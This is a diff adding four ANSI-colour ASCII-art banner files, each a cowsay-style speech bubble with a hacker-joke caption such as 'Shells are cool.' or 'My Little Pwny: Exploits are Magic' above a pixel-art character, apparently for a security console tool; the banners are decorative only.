@ -0,0 +1,35 @@
|
|||
[0m[0m _________________________________________________ [0m
|
||||
[0m< This console just got 20% cooler[0m >[0m
|
||||
[0m ------------------------------------------------- [0m[00m
|
||||
[0m/[0m[00m
|
||||
[0m/[0m [00m
|
||||
[38;5;74m▀▄▄▄▄▄▄▄▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀▀[48;5;54m▄▄▄▄▄[48;5;74m█[38;5;54m▄▄▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m███[38;5;113m▄▄[38;5;229m▄▄[38;5;74m██[48;5;54m▄[38;5;54m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m██[38;5;113m▄[48;5;113m█[38;5;229m▄▄[48;5;229m█[38;5;209m▄▄[38;5;229m██[48;5;74;38;5;113m▄[38;5;74m█[48;5;54;38;5;54m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;113;38;5;113m█[38;5;229m▄[48;5;229m███[48;5;209;38;5;209m██[38;5;203m▄[38;5;209m██[48;5;229m▄[48;5;113;38;5;229m▄[48;5;74;38;5;74m█[38;5;54m▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;113;38;5;113m██[48;5;229;38;5;229m███[48;5;209;38;5;209m█[38;5;203m▄[48;5;203m██[38;5;74m▄[49m▀▀[48;5;209m▄[48;5;113;38;5;229m▄[48;5;74;38;5;74m██[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m██[48;5;113;38;5;113m██[48;5;229;38;5;229m██[48;5;209;38;5;209m██[48;5;203;38;5;203m█[48;5;74;38;5;74m█[48;5;203m▄[48;5;74;38;5;209m▄[49;38;5;74m▄[39m [48;5;74;38;5;74m█[48;5;209;38;5;209m█[48;5;74;38;5;113m▄[38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m██[48;5;113m▄[38;5;113m█[48;5;229;38;5;229m██[48;5;209;38;5;74m▄[48;5;203;38;5;203m██[48;5;74;38;5;74m█[49;39m [38;5;74m▀▀[39m [48;5;74;38;5;74m█[48;5;203;38;5;203m█[48;5;113;38;5;113m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;74m██[48;5;113;38;5;113m█[48;5;229m▄[38;5;229m█[48;5;74;38;5;74m█[48;5;203;38;5;203m█[38;5;74m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;229;38;5;229m█[48;5;74;38;5;74m█[48;5;209m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;209m▄[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;229;38;5;74m▄[49m▀[48;5;74m█[49;39m [38;5;74m▄▄[48;5;74;38;5;117m▄▄▄▄[49;38;5;74m▄▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;113m▄[48;5;74m█[49;39m [38;5;74m▀[39m [38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[38;5;231m▄[38;5;117m██████[48;5;74m▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;74m█[49;39m [48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;203;38;5;203m█[48;5;231;38;5;229m▄[38;5;231m██[48;5;117;38;5;117m██████[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;117;38;5;117m█[48;5;203;38;5;203m█[48;5;229;38;5;117m▄[48;5;74m▄[48;5;117m████████[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m████[38;5;74m▄[38;5;117m██████[38;5;74m▄[49m▀[39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m███[48;5;74;38;5;74m█[48;5;117m▄▄[48;5;74m█[48;5;117;38;5;117m███████[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m███[38;5;74m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;117m▄[38;5;117m██████[48;5;74;38;5;74m█[49;39m [38;5;74m▄▄▄[48;5;74;38;5;203m▄▄▄[49;38;5;74m▄▄▄[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m████[48;5;74;38;5;74m█[49;39m [38;5;74m▄[48;5;74m█[38;5;117m▄[48;5;117m██[38;5;74m▄[38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74m▄[38;5;74m█[38;5;229m▄[48;5;229m█[48;5;209m▄▄[38;5;209m██[48;5;203m▄▄[38;5;203m██[48;5;74m▄[38;5;74m█[49m▀[39m [00m
|
||||
[38;5;74m▀[48;5;117m▄[38;5;117m██[38;5;74m▄[49m▀▄[48;5;74;38;5;117m▄▄[48;5;117m███[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;110;38;5;74m▄[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;229m▄▄[38;5;229m███[48;5;209m▄▄[38;5;209m███[48;5;203m▄[38;5;74m▄[48;5;74;38;5;203m▄[49;39m [00m
|
||||
[38;5;74m▀▀[39m [38;5;74m▄[48;5;74m█[48;5;117;38;5;117m████[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m████[48;5;74m▄▄[48;5;229;38;5;74m▄[38;5;229m██[38;5;74m▄[48;5;209;38;5;229m▄[38;5;209m██[48;5;74;38;5;74m█[49m▀[48;5;209m▄[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117m▄[48;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m███[38;5;16m▄[48;5;16;38;5;231m▄▄[48;5;74;38;5;16m▄[48;5;117;38;5;74m▄[38;5;117m█[48;5;74m▄[48;5;229;38;5;74m▄[48;5;74;38;5;117m▄[38;5;16m▄[48;5;229;38;5;74m▄[48;5;209;38;5;209m██[48;5;74;38;5;74m█[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[38;5;117m▄[38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m██[48;5;16;38;5;117m▄[38;5;74m▄[48;5;231;38;5;231m████[48;5;16m▄[48;5;117;38;5;16m▄[38;5;117m██[48;5;16;38;5;74m▄[48;5;231;38;5;231m█[48;5;16;38;5;16m█[49m▀[48;5;209;38;5;74m▄[38;5;209m█[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▀▀[48;5;117m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[38;5;74m▄[48;5;74m██[48;5;117;38;5;117m██[48;5;231;38;5;231m██[38;5;168m▄[48;5;168;38;5;231m▄[48;5;231;38;5;168m▄[48;5;16;38;5;16m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;168;38;5;231m▄[48;5;231;38;5;168m▄[49;39m [38;5;74m▀▀▀[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m██[48;5;113;38;5;113m█[48;5;74m▄[48;5;117;38;5;74m▄[38;5;117m█[48;5;231m▄[48;5;168;38;5;231m▄[48;5;16;38;5;168m▄[48;5;168;38;5;231m▄[48;5;16;38;5;117m▄[48;5;117m██[48;5;74m▄[48;5;16;38;5;74m▄[48;5;168m▄[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m█[38;5;74m▄[48;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m███[48;5;113m▄[48;5;74;38;5;113m▄[48;5;117;38;5;74m▄[38;5;117m█████████[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▀▀[39m [48;5;74;38;5;74m█[48;5;117m▄[48;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[49;39m [48;5;74;38;5;74m█[48;5;54;38;5;54m█[48;5;74;38;5;74m█[48;5;113m▄[38;5;113m█[48;5;74;38;5;110m▄[48;5;117;38;5;74m▄▄▄▄▄▄[49m▀▀[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m███[48;5;74;38;5;74m█[49;39m [48;5;54;38;5;54m█[48;5;74;38;5;74m███[48;5;110m▄[38;5;110m█[48;5;67;38;5;67m█[49;39m [00m
|
||||
[38;5;74m▀[48;5;117m▄[38;5;117m███[48;5;74;38;5;74m█[49;39m [48;5;54;38;5;54m█[48;5;74;38;5;74m█[38;5;110m▄[38;5;74m█[48;5;110;38;5;110m█[48;5;67;38;5;67m█[49;39m [00m
|
||||
[38;5;74m▀[48;5;117m▄▄[49m▀[39m [48;5;54;38;5;54m█[48;5;74;38;5;74m█[49;38;5;67m▀[48;5;74;38;5;74m█[49;38;5;67m▀▀[39m [00m
|
||||
[48;5;74;38;5;74m█[49;39m [00m
|
|
@ -0,0 +1,31 @@
|
|||
[0m[0m __________________ [0m
|
||||
[0m< Shells are cool.[0m >[0m
|
||||
[0m ------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [38;5;52m▄▄▄▄▄▄▄▄▄[39m [00m
|
||||
[48;5;52;38;5;52m█[48;5;88;38;5;88m█████████[48;5;52;38;5;52m█[49;39m [00m
|
||||
[38;5;52m▄[48;5;52;38;5;88m▄[48;5;88m█████████[48;5;52;38;5;52m█[49;39m [00m
|
||||
[38;5;52m▄[48;5;52;38;5;88m▄[48;5;88m██████████[48;5;52;38;5;52m█[49;38;5;234m▄▄[39m [00m
|
||||
[38;5;234m▄[48;5;52;38;5;52m█[48;5;88;38;5;88m█████████[48;5;101;38;5;101m█[38;5;144m▄▄[48;5;236;38;5;101m▄[38;5;236m█[48;5;234m▄[49;38;5;234m▄[39m [00m
|
||||
[38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██[48;5;52m▄▄▄[38;5;101m▄▄▄▄▄▄[48;5;101m█[48;5;144;38;5;144m██[48;5;101m▄[48;5;236;38;5;101m▄[38;5;236m█[48;5;234m▄[49;38;5;234m▄[39m [00m
|
||||
[38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m████[38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m████████[48;5;101;38;5;101m█[48;5;144;38;5;144m█[48;5;101;38;5;101m█[48;5;236;38;5;236m███[48;5;234;38;5;234m█[49;39m [00m
|
||||
[48;5;234;38;5;234m█[48;5;236;38;5;236m████[48;5;101;38;5;101m█[48;5;144;38;5;144m██[38;5;16m▄▄▄▄[38;5;144m██████[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [00m
|
||||
[48;5;234;38;5;234m█[48;5;236;38;5;236m██[48;5;101;38;5;101m█[48;5;144;38;5;144m██[48;5;16;38;5;16m█[38;5;231m▄[48;5;231m█[48;5;57;38;5;57m█[48;5;231;38;5;231m█[48;5;16m▄[48;5;144;38;5;16m▄[38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m███[48;5;234;38;5;234m█[49;39m [00m
|
||||
[38;5;234m▄▄[48;5;234;38;5;236m▄[48;5;236m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;16;38;5;231m▄[38;5;16m█[48;5;63;38;5;153m▄[48;5;231;38;5;231m██[48;5;16;38;5;16m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [38;5;234m▄▄▄▄▄▄[39m [00m
|
||||
[38;5;234m▀[48;5;236m▄▄[48;5;101;38;5;101m█[48;5;144;38;5;144m██████[48;5;153m▄[48;5;231m▄▄[48;5;144m████[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██████[48;5;234m▄▄[38;5;234m█[49m▀[39m [00m
|
||||
[38;5;101m▀[48;5;144m▄▄[48;5;101;38;5;144m▄[48;5;144m██████[38;5;101m▄[38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m█[38;5;234m▄[49m▀[39m [38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██████████[48;5;234;38;5;234m█[49m▄[39m [00m
|
||||
[38;5;101m▀▀▀▀▀▀[48;5;101m█[38;5;144m▄[48;5;144m███[38;5;250m▄[48;5;250;38;5;231m▄[48;5;234m▄[49;38;5;101m▄▄▄[48;5;101;38;5;144m▄▄▄▄▄[48;5;236;38;5;101m▄▄[49;38;5;234m▀▀▀[48;5;236m▄[38;5;236m██████[48;5;234m▄[49;38;5;234m▄[39m[00m
|
||||
[48;5;101;38;5;101m█[48;5;144;38;5;144m██[38;5;250m▄[48;5;250;38;5;231m▄[48;5;231m█[38;5;144m▄[48;5;144m███████[48;5;186;38;5;186m███[48;5;101;38;5;144m▄[49;38;5;101m▄[39m [48;5;234;38;5;234m█[48;5;236;38;5;236m████[48;5;234m▄[48;5;236;38;5;234m▄[48;5;234m█[49;39m[00m
|
||||
[38;5;88m▄[48;5;88m█[48;5;52;38;5;52m█[48;5;231;38;5;231m█[38;5;144m▄[48;5;144m█████████[38;5;186m▄[48;5;186m█[48;5;144m▄[38;5;144m█[48;5;101;38;5;101m█[49;39m [48;5;234;38;5;236m▄[48;5;236;38;5;234m▄[48;5;234m█[48;5;236;38;5;236m██[48;5;234;38;5;234m█[49;39m [38;5;234m▀[39m[00m
|
||||
[38;5;88m▀[38;5;52m▀[48;5;144;38;5;101m▄[38;5;144m███████[48;5;101;38;5;101m█[48;5;144;38;5;144m██[48;5;186m▄▄▄[48;5;144;38;5;101m▄[49m▀[39m [38;5;234m▀▀[39m [48;5;234;38;5;234m█[48;5;236;38;5;236m█[38;5;234m▄[49m▀[39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m███[38;5;101m▄▄▄▄[48;5;101m█[48;5;144m▄[38;5;144m███[48;5;101m▄[49;38;5;101m▄[39m [48;5;234;38;5;234m█[48;5;236m▄[49m▀[39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[49;39m [38;5;95m▀[48;5;137m▄[48;5;101;38;5;137m▄[38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [38;5;234m▀[39m [00m
|
||||
[38;5;95m▄[48;5;95;38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m███[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [00m
|
||||
[38;5;95m▄[48;5;95m█[48;5;137;38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;137m▄[48;5;101;38;5;101m█[48;5;144;38;5;144m█████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137m▄▄[48;5;101;38;5;101m█[48;5;144;38;5;144m█████[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;101;38;5;101m█[48;5;144m▄▄▄▄▄[48;5;101m█[49;39m [48;5;101;38;5;101m█[48;5;144m▄▄▄▄▄[48;5;101m█[49;39m [00m
|
||||
[00m
|
|
@ -0,0 +1,27 @@
|
|||
[0m[0m ______________________________ [0m
|
||||
[0m< I love SHELLS![0m >[0m
|
||||
[0m ------------------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[38;5;54m▄▄[48;5;54m██[38;5;97m▄[38;5;54m█[38;5;90m▄[38;5;251m▄[38;5;90m▄[49;38;5;54m▄[39m [00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m██[48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;90;38;5;251m▄[48;5;251;38;5;255m▄[48;5;255;38;5;251m▄[48;5;251;38;5;90m▄[48;5;97;38;5;97m█[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [00m
|
||||
[38;5;251m▄[48;5;251;38;5;255m▄[49;38;5;251m▄[48;5;54;38;5;54m█[48;5;97;38;5;97m██[48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;251;38;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;97m▄[38;5;133m▄[48;5;133;38;5;54m▄[49m▀[39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m█[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m█[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;255m▄[48;5;255m█[48;5;251m▄▄[48;5;255m█[38;5;16m▄[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;54m▄[48;5;97;38;5;54m▄▄[48;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;255;38;5;255m█[38;5;16m▄▄[48;5;16;38;5;117m▄[48;5;255;38;5;255m█[48;5;117;38;5;117m█[48;5;16;38;5;16m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;54m▄[48;5;255;38;5;251m▄[48;5;54;38;5;54m█[48;5;133;38;5;133m█[48;5;54;38;5;54m██[48;5;255;38;5;16m▄[48;5;16;38;5;117m▄[48;5;117;38;5;16m▄[38;5;117m██[48;5;255m▄[38;5;255m█[48;5;117;38;5;16m▄[48;5;16;38;5;251m▄[49;38;5;16m▀[39m [00m
|
||||
[38;5;54m▄▄[48;5;54;38;5;97m▄▄[38;5;133m▄▄▄▄[49;38;5;54m▄▄[39m [48;5;54;38;5;54m██[38;5;133m▄[48;5;133m█[38;5;54m▄[48;5;54;38;5;97m▄[38;5;54m█[48;5;255;38;5;255m█[48;5;16m▄▄▄▄▄[48;5;255m██[48;5;251m▄▄[38;5;251m█[49;39m[00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;90m▄[48;5;90;38;5;97m▄▄▄[38;5;133m▄[48;5;97m▄▄▄[48;5;133;38;5;97m▄[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [48;5;54;38;5;54m█[48;5;133;38;5;97m▄▄▄[48;5;97m█[48;5;54;38;5;54m█[38;5;255m▄[48;5;255m█████[38;5;251m▄[48;5;251;38;5;125m▄▄[49;38;5;251m▀▀[39m [00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m█[48;5;54;38;5;54m█[48;5;90;38;5;90m██[48;5;97m▄[38;5;54m▄[48;5;54;38;5;97m▄[38;5;133m▄▄▄▄[48;5;97;38;5;54m▄[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;133m▄[48;5;90;38;5;54m▄▄[48;5;54;38;5;255m▄[48;5;255m██████[48;5;251;38;5;251m█[48;5;209m▄[48;5;125m▄[49m▄[39m [00m
|
||||
[48;5;54;38;5;54m█[48;5;97;38;5;97m██[48;5;54;38;5;54m██[48;5;90m▄[48;5;54;38;5;90m▄[48;5;97m▄[38;5;54m▄▄[49m▀▀[48;5;133m▄▄[48;5;54;38;5;133m▄[38;5;251m▄[49m▄▄[48;5;54;38;5;54m█[48;5;133;38;5;133m█[48;5;97;38;5;54m▄[48;5;133m▄[48;5;54;38;5;97m▄[38;5;54m█[48;5;255m▄[38;5;255m███[48;5;251m▄[38;5;251m█[49m▀▀▀[39m [00m
|
||||
[48;5;54;38;5;54m██[48;5;97;38;5;97m██[48;5;54m▄[38;5;54m█[48;5;90m▄[48;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;117m▄[38;5;255m██[48;5;54m▄[48;5;133;38;5;54m▄[48;5;54m█[38;5;97m▄[38;5;133m▄[48;5;97;38;5;54m▄[48;5;90;38;5;90m█[48;5;54;38;5;54m█[48;5;255m▄[38;5;255m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄▄[38;5;97m█[48;5;54m▄▄[49;38;5;54m▄[39m [48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;74m▄[48;5;255m█[38;5;74m▄[38;5;255m█[48;5;54;38;5;54m█[38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;97m▄▄▄[38;5;54m█[38;5;255m▄[48;5;255m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄[38;5;97m██[48;5;54m▄[48;5;97;38;5;54m▄[38;5;97m██[48;5;54m▄[38;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;74;38;5;117m▄[48;5;255;38;5;255m█[48;5;117m▄[48;5;255m█[48;5;54;38;5;54m█[48;5;97m▄[38;5;97m█[48;5;54m▄▄[38;5;54m█[48;5;255;38;5;255m███[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;54;38;5;54m█[38;5;97m▄[38;5;54m█[48;5;97m▄[38;5;97m███[48;5;54m▄[48;5;97;38;5;54m▄[48;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m███[38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m█[48;5;54m▄▄▄[48;5;255m██[38;5;251m▄[48;5;251m█[49;39m [00m
|
||||
[38;5;54m▄[48;5;54m██[49;39m [48;5;54;38;5;54m██[48;5;97;38;5;97m█[48;5;54m▄[38;5;54m██[48;5;97m▄[38;5;97m██[48;5;54;38;5;54m█[49;39m [38;5;251m▄[48;5;251;38;5;255m▄▄[48;5;255m█[38;5;251m▄[48;5;251;38;5;254m▄▄[38;5;251m█[49m▀▀[48;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;254;38;5;254m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄[48;5;54;38;5;97m▄[38;5;54m█[49m▄[48;5;54m█[38;5;97m▄[48;5;97;38;5;54m▄[38;5;97m█[48;5;54m▄[38;5;54m██[49m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m██[38;5;251m▄[48;5;251;38;5;254m▄[48;5;254m█[48;5;251;38;5;251m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;254;38;5;254m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄▄[49m▀[48;5;54m█[48;5;97;38;5;97m█[48;5;54m▄[48;5;97;38;5;54m▄[49m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m█[38;5;251m▄[49m▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m██[49;39m [00m
|
||||
[38;5;54m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m██[48;5;251;38;5;251m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m████[48;5;251;38;5;251m██[49;39m [00m
|
||||
[38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[38;5;251m▄[48;5;251;38;5;254m▄[48;5;254m█[48;5;251;38;5;251m█[49;39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m████[48;5;251;38;5;251m█[49m▀▀▀[39m [38;5;251m▀[48;5;255m▄[38;5;255m███[48;5;251;38;5;251m█[49m▀▀▀[39m [00m
|
||||
[38;5;251m▀▀▀▀▀▀[39m [38;5;251m▀▀▀[39m [00m
|
|
@ -0,0 +1,29 @@
|
|||
[0m[0m ____________________________________ [0m
|
||||
[0m< My Little Pwny: Exploits are Magic[0m >[0m
|
||||
[0m ------------------------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[38;5;238m▄▄[48;5;238;38;5;60m▄▄▄▄▄▄[49;38;5;238m▄▄[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄[48;5;60m█████████[38;5;238m▄[48;5;238;38;5;60m▄▄▄▄[49;38;5;238m▄▄[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;96m▄[48;5;96;38;5;139m▄▄[38;5;96m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[48;5;60m▄[48;5;238;38;5;60m▄▄[48;5;60;38;5;238m▄[38;5;60m███[48;5;238;38;5;238m█[49;39m[00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;96m▄[48;5;96;38;5;139m▄[48;5;139;38;5;96m▄[38;5;139m█[48;5;96;38;5;96m█[48;5;60;38;5;238m▄[38;5;60m█████[48;5;238m▄[48;5;60m███[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;238;38;5;238m█[49;39m[00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄▄[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;238m▄▄[48;5;60;38;5;238m▄▄▄▄▄[48;5;238;38;5;96m▄[38;5;60m▄[48;5;60m██[38;5;238m▄[49m▀[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;96m▄[48;5;139;38;5;139m████[48;5;16m▄[48;5;139;38;5;16m▄[48;5;16;38;5;231m▄▄[48;5;96;38;5;16m▄[48;5;139m▄[38;5;139m██[48;5;96m▄[48;5;60;38;5;96m▄[38;5;60m█[48;5;238m▄[49;38;5;238m▄[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m████[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;16;38;5;16m██[48;5;231;38;5;231m██[48;5;96;38;5;96m█[48;5;16;38;5;16m█[48;5;231;38;5;231m█[48;5;16;38;5;16m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;60;38;5;60m██[48;5;238;38;5;238m█[49;39m [00m
|
||||
[38;5;238m▀[48;5;60m▄[38;5;60m███[48;5;96;38;5;238m▄[48;5;139;38;5;139m███[38;5;16m▄[48;5;231;38;5;231m██[48;5;96;38;5;139m▄[48;5;231;38;5;16m▄▄[48;5;16m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;38;5;238m▀▀[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄▄▄▄▄▄[49;38;5;238m▄▄[39m [38;5;238m▀[48;5;60m▄[38;5;60m██[48;5;238m▄[48;5;139;38;5;238m▄[38;5;139m██[38;5;96m▄[48;5;231;38;5;139m▄[38;5;231m█[48;5;182m▄[48;5;16;38;5;139m▄[48;5;231;38;5;96m▄[48;5;16;38;5;139m▄[48;5;139m██[48;5;96;38;5;96m█[49m▄[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄[48;5;60m█████████[48;5;238m▄[49;38;5;238m▄[39m [38;5;238m▀[48;5;60;38;5;60m█[38;5;238m▄[38;5;60m██[48;5;238;38;5;238m█[48;5;139;38;5;139m██[48;5;96m▄[48;5;139m█[48;5;231m▄▄▄[48;5;139m█[38;5;96m▄[38;5;139m██[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[38;5;238m▄[49m▀▀▀[48;5;60m▄[38;5;60m█[48;5;238m▄[49;38;5;238m▄[39m [38;5;238m▄[48;5;60m▄[38;5;60m█[48;5;238m▄▄[48;5;60m█[48;5;238m▄[48;5;139;38;5;238m▄[38;5;139m█[38;5;96m▄▄▄▄▄▄[49m▀▀[39m [00m
|
||||
